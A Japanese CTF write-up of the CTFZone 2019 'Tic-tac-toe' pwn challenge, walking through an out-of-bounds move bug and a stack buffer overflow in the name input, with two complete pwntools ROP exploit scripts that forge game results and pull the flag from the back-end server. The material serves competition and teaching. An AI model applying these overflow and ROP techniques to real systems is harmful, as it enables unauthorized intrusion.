イントロ Link to this heading

いつぞや行われたロシアの野良 CTF CTFZone CTF 2019

野良かと思ってたら DEFCON Quals になっていた。 今回はその pwn 問題 Tic-tac-toe。 この writeup を書く。 慣れない形式でだいぶ渋かった。

表層解析 Link to this heading

名前の示すとおりマルバツゲームを行う。 配布ファイルは以下の 2 つ:

tictactoe Link to this heading

C で書かれたフロントサイドのサーバプログラム。 後述するserver.py及びユーザと対話する。 ポート8889を使う:

sec.sh
1./tictactoe: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, BuildID[sha1]=292bbd6ea3adfb92195a360d1af03ce2757879ba, for GNU/Linux 3.2.0, with debug_info, not stripped
2Arch:     amd64-64-little
3RELRO:    No RELRO
4Stack:    No canary found
5NX:       NX disabled
6PIE:      No PIE (0x400000)
7RWX:      Has RWX segments

debug-info 付きの pwn バイナリ初めて見た。

server.py Link to this heading

バックエンドで動くサーバプログラム。 フロントサイドのサーバと対話する。 ポート9998を使う。

プログラムの概要 Link to this heading

概要 Link to this heading

単純な 3x3 のまるばつゲームを行うプログラム:

コンピュータが常に先手であり、 100 勝せよと言われる。

大前提としてまるばつゲームは先手必勝のゲームであり、 先手が常に最善手を打てばプレイヤ側は引き分け以下が確定している。 このプログラムに於いてはコンピュータは常に最善手を打つため、 プログラムの脆弱性を突かないと 100%勝てない。

サーバの役割 Link to this heading

以下では C で書かれたフロントエンドのサーバを F サーバ、 python で書かれたバックエンドのサーバを B サーバと呼ぶ。

F サーバは char board[9] によって盤面を保持する。 コンピュータ、ユーザの手を計算・入力したあとboardに代入する。

実際に勝ち負け等の判定をするのは B サーバの方である。 B サーバは F サーバとは独立して、 盤面を始めとして、ユーザを識別するsessionIDや、連勝数を示すlevel等の内部状態を保持している。

F サーバは 1 ターン終わるごとにsend_state()によって、 コンピュータとユーザの手及びsessionIDを送信する。 B サーバはそれを元にして勝敗の判定等を行い、 まだゲームを続けるべきか、勝利処理をするべきか、勝ったからフラグを取りに来いと言うか等の指示を返す。 なおsessionIDごとに内部情報は別々に保持されている。

それから F サーバは簡単に落ちるが、 F サーバが落ちても B サーバは動き続け内部情報を保持し続ける。

使わなかった脆弱性 = 1勝はできる Link to this heading

F サーバでユーザの入力処理を行うのは以下の部分:

.c
 1do {
 2    if ((('0' < move[0]) && (move[0] < ':')) && (sVar2 = strlen(move), sVar2 < 0x3)) {
 3        while( true ) {
 4            if (board[(long)move[0] + -0x31] == '\0') {
 5                return (int)move[0] + -0x31;
 6            }
 7            sVar2 = strlen(try_again_msg);
 8            iVar1 = send_all(psock,try_again_msg,(int)sVar2);
 9            if (iVar1 < 0x0) break;
10            iVar1 = recv_all(psock,move,0x2);
11            if (iVar1 < 0x0) {
12                puts("[-] Error geting player\'s move in get_human_move()");
13            /* WARNING: Subroutine does not return */
14                _exit(0x7);
15            }
16        }
17        puts("[-] Error seniding try-again message to user in get_human_move()");
18            /* WARNING: Subroutine does not return */
19        _exit(0x7);
20    }

最初の if では入力が'1’~‘9’に収まっているか&&入力文字数が 2 以下か&&そのマスが空いているかの 3 点をチェックしているが、 この第3条件のみを満たさない場合、内部の while ループに入る。 そこでは第3条件のチェックが抜かされており、‘1’~‘9’以外の値を入力することが可能になっている。 これを利用して例えば’.’(==‘1’-0x3)を入力すると、board[-3]に打つことができる。

コレのうまいところは、F/B サーバで内部状態が別々に保持されているということ+B サーバが python で書かれているということが利用できるとこである。 send_state()に於いてユーザの入力が-3として送られた場合、B サーバでは以下の処理がなされる:

.py
1if (self.sessions[session]['field'][cmove] != 0) or (hmove != -1 and self.sessions[session]['field'][hmove] != 0):
2            self.sessions[session]['field'] = [0, 0, 0, 0, 0, 0, 0, 0, 0]
3            return (ERROR_MOVE,)
4        self.sessions[session]['field'][cmove] = Xs
5        if hmove != -1:
6            self.sessions[session]['field'][hmove] = Os
7        win = self.check_win(self.sessions[session]['field'])

ここでhmove-3 だとすると、 python では valid な入力となりboard[-3]==board[6]に入力されたことになる (打つマスにコマがあるかの判定は F サーバの入力フェーズにのみあるため、上書きができる!)。

これを利用すると、 本来勝つことができない後手が以下のように勝利することができる:

だがこの方法では F サーバに於いてboard[-3]に値を入れることになる。 board[0~8]はゲームの度に 0 クリアされるが、 範囲外の[-3]はクリアされないため2回目以降打つことができないため禁じ手となる。

よって却下!

自明な BoF から ROP で sessionID を保ったまま連勝する Link to this heading

name バッファの BoF Link to this heading

最初の名前入力で自明な BoF がある (大変不甲斐ない話だが、上のやり方に固執してしまい、人に言われるまでその関数を無視していた。。。)

.c
1char tmp_name [0x10];
2(...snipped...)
3            iVar1 = recv_all(psock,tmp_name,0x800);
4        if (iVar1 < 0x0) {
5            close(psock);
6            puts("[-] Error receiving name in process_game()");
7            iVar1 = -0x1;
8        }

0x7f0もオーバーフローできる。 これを用いて ROP を組んでいく (幸い PIE 無効)。

sessionID をリークしたまま連勝する Link to this heading

こっからはごく普通の ROP になる。 但し騙すべきは F サーバではなく B サーバである。 よって F サーバの処理はすっとばしてsend_state()のみを呼べばいい

その際連勝記録を保持するためにも sessionID を引数に渡す必要がある。 ここでtmp_name[0x800]自体はスタックにあり参照することが難しいため、 tmp_nameがコピーされるnameを既知のアドレスとして使いつつ ROP する。

なお pop rcx/ pop rdx に該当するガジェットが見つからなかったが、 今回は幸いにも NX disabled なため、 足りないガジェットは自分で作ればいい (これものちにアクセスできる.bss 領域のnameバッファに入れる)。

100 連勝するスクリプト Link to this heading

ということで以下のスクリプトで 100 勝できる:

win.py
  1#!/usr/bin/env python
  2#encoding: utf-8;
  3
  4#####################
  5# win_100times.py   #
  6#####################
  7
  8from pwn import *
  9import sys
 10
 11FILENAME = "./tictactoe"
 12
 13rhp1 = {"host":"pwn-tictactoe.ctfz.one","port":8889}
 14rhp2 = {'host':"localhost",'port':8889}
 15context(os='linux',arch='amd64')
 16binf = ELF(FILENAME)
 17
 18show_flag = 0x40195f
 19case1 = 0x0401d94
 20case6 = 0x0401e82
 21init_array = 0x405000
 22pop_rdi = 0x0040310b
 23pop_rsi_r15 = 0x00403109
 24pop_r14_r15 = 0x00403108
 25name = 0x405770
 26reg_user = 0x4016b4
 27send3 = 0x401e31
 28send_message = 0x401768
 29server_ip = 0x405728
 30session = 0x405740
 31send_state = 0x402a74
 32jmp_rax = 0x0040120c
 33
 34def exploit(conn):
 35  print("[+]session: "+dummy_session)
 36  conn.recvuntil("name: ")
 37
 38  inj = dummy_session
 39  inj += "\x59\xc3" #pop rcx; ret
 40  inj += "\x5a\xc3" #pop rdx; ret
 41  inj += "\x58\xc3" #pop rax; ret
 42  inj += "A"*(0x30-len(inj))
 43  inj += "10.0.15.252\0"
 44  inj += "A"*(0x50-len(inj))
 45  inj += "A"*8 #rbp
 46
 47  for i in range(1):
 48    inj += p64(pop_rdi) #server_ip用意
 49    inj += p64(name+0x30)
 50    inj += p64(pop_rsi_r15) #sessionID用意
 51    inj += p64(name)
 52    inj += p64(0)
 53    inj += p64(name+0x20)  #hmove用意
 54    inj += p64(2)
 55    inj += p64(name+0x20+2) #cmove用意
 56    inj += p64(0)
 57    inj += p64(send_state)
 58
 59    inj += p64(pop_rdi) #server_ip用意
 60    inj += p64(name+0x30)
 61    inj += p64(pop_rsi_r15) #sessionID用意
 62    inj += p64(name)
 63    inj += p64(0)
 64    inj += p64(name+0x20)  #hmove用意
 65    inj += p64(5)
 66    inj += p64(name+0x20+2) #cmove用意
 67    inj += p64(1)
 68    inj += p64(send_state)
 69
 70    inj += p64(pop_rdi) #server_ip用意
 71    inj += p64(name+0x30)
 72    inj += p64(pop_rsi_r15) #sessionID用意
 73    inj += p64(name)
 74    inj += p64(0)
 75    inj += p64(name+0x20)  #hmove用意
 76    inj += p64(8)
 77    inj += p64(name+0x20+2) #cmove用意
 78    inj += p64(6)
 79    inj += p64(send_state)
 80
 81
 82  conn.sendline(inj) #発火
 83
 84
 85is_remote = 0
 86
 87if len(sys.argv)>1:
 88  if sys.argv[1][0]=="d":
 89    cmd = """
 90      set follow-fork-mode parent
 91    """
 92    conn = gdb.debug(FILENAME,cmd)
 93  elif sys.argv[1][0]=="r":
 94    conn = remote(rhp1["host"],rhp1["port"])
 95    is_remote = 1
 96else:
 97    conn = remote(rhp2['host'],rhp2['port'])
 98
 99
100dummy_session = raw_input("dummy_session > ")[:32]
101exploit(conn)
102
103print("i:"+str(1))
104if is_remote==1:
105  for i in range(99):
106    conn = remote(rhp1["host"],rhp1["port"])
107    exploit(conn)
108    print("i:"+str(i+2))

ご褒美に flag を貰う Link to this heading

ここまで行ったら B サーバに連絡して flag を貰う (100 勝するまでに flag を要求すると、お前チートしとるやろとキレられる)。

ROP では、まず最初にsend_get_flag()を呼ぶ。 これで F サーバから B サーバに flag を要求し flag を貰う。 sessionID は 100 連勝したやつにする。 msg バッファはスタック上にあって参照できないため name バッファを使う。 自作のpop rdxガジェットはまだ使いたいし上書きされては困るため少しバッファをずらす

続いて、send_all()を呼ぶ。 これで F サーバからローカルにメッセージ(flag)を落とす。

以上をしてくれるスクリプトが以下:

request_flag.py
 1#!/usr/bin/env python
 2#encoding: utf-8;
 3
 4########################
 5# request_flag.py      #
 6########################
 7
 8from pwn import *
 9import sys
10
11FILENAME = "./tictactoe"
12
13rhp1 = {"host":"pwn-tictactoe.ctfz.one","port":8889}
14rhp2 = {'host':"localhost",'port':8889}
15context(os='linux',arch='amd64')
16binf = ELF(FILENAME)
17
18show_flag = 0x40195f
19case1 = 0x0401d94
20case6 = 0x0401e82
21init_array = 0x405000
22pop_rdi = 0x0040310b
23pop_rsi_r15 = 0x00403109
24pop_r14_r15 = 0x00403108
25name = 0x405770
26reg_user = 0x4016b4
27send3 = 0x401e31
28send_message = 0x401768
29server_ip = 0x405728
30session = 0x405740
31send_state = 0x402a74
32jmp_rax = 0x0040120c
33send_get_flag = 0x0402ce1
34psock = 0x405720
35send_all = 0x402f87
36
37def exploit(conn):
38  dummy_session = raw_input("dummy_session> ")[:32]
39  conn.recvuntil("name: ")
40  raw_input()
41
42  inj = "\x5a\xc3" #pop rdx; ret
43  inj += dummy_session
44  inj += "A"*(0x30-len(inj))
45  inj += "10.0.15.252\0"
46  inj += "A"*(0x50-len(inj))
47  inj += "A"*8 #rbp
48
49  inj += p64(pop_rdi)
50  inj += p64(name+0x30)
51  inj += p64(pop_rsi_r15)
52  inj += p64(name+2)
53  inj += p64(0)
54  inj += p64(name)
55  inj += p64(name+2)
56  inj += p64(send_get_flag)
57
58  inj += p64(pop_rdi)
59  inj += p64(4)
60  inj += p64(pop_rsi_r15)
61  inj += p64(name+2)
62  inj += p64(0)
63  inj += p64(name)
64  inj += p64(0x40)
65  inj += p64(send_all)
66
67
68  conn.sendline(inj) #発火
69
70
71
72if len(sys.argv)>1:
73  if sys.argv[1][0]=="d":
74    cmd = """
75      set follow-fork-mode parent
76    """
77    conn = gdb.debug(FILENAME,cmd)
78  elif sys.argv[1][0]=="r":
79    conn = remote(rhp1["host"],rhp1["port"])
80else:
81    conn = remote(rhp2['host'],rhp2['port'])
82exploit(conn)
83conn.interactive()

exploit Link to this heading

  1. 普通にncして sessionID を発行してメモる
  2. スクリプト 1 で 100 勝する
  3. スクリプト 2 でフラグを取る

ただし、B サーバも127.0.0.1で動いていると思っていたら、 実際は10.0.15.252で動いている。 これは mora 先輩が Server IP をリークして見つけてくれました ♥

結果 Link to this heading

アウトロ Link to this heading

TWCTF で flag が取れなかったので今回取れて凄い嬉しかった。

newbie な自分にとってこういう割とガチでやる CTF で一番しんどいのは、 長いこと自分が考えた問題をチームの他のメンバに取られることだと思っている (強い人だとチーム第一なんだろうけど、newbie なので自分で取るというのに凄い固執しちゃう)。

ということを言っていたら、 先輩が自分のために問題を解かずに待っていてくれたのが凄い感動した。

引越し準備も佳境です。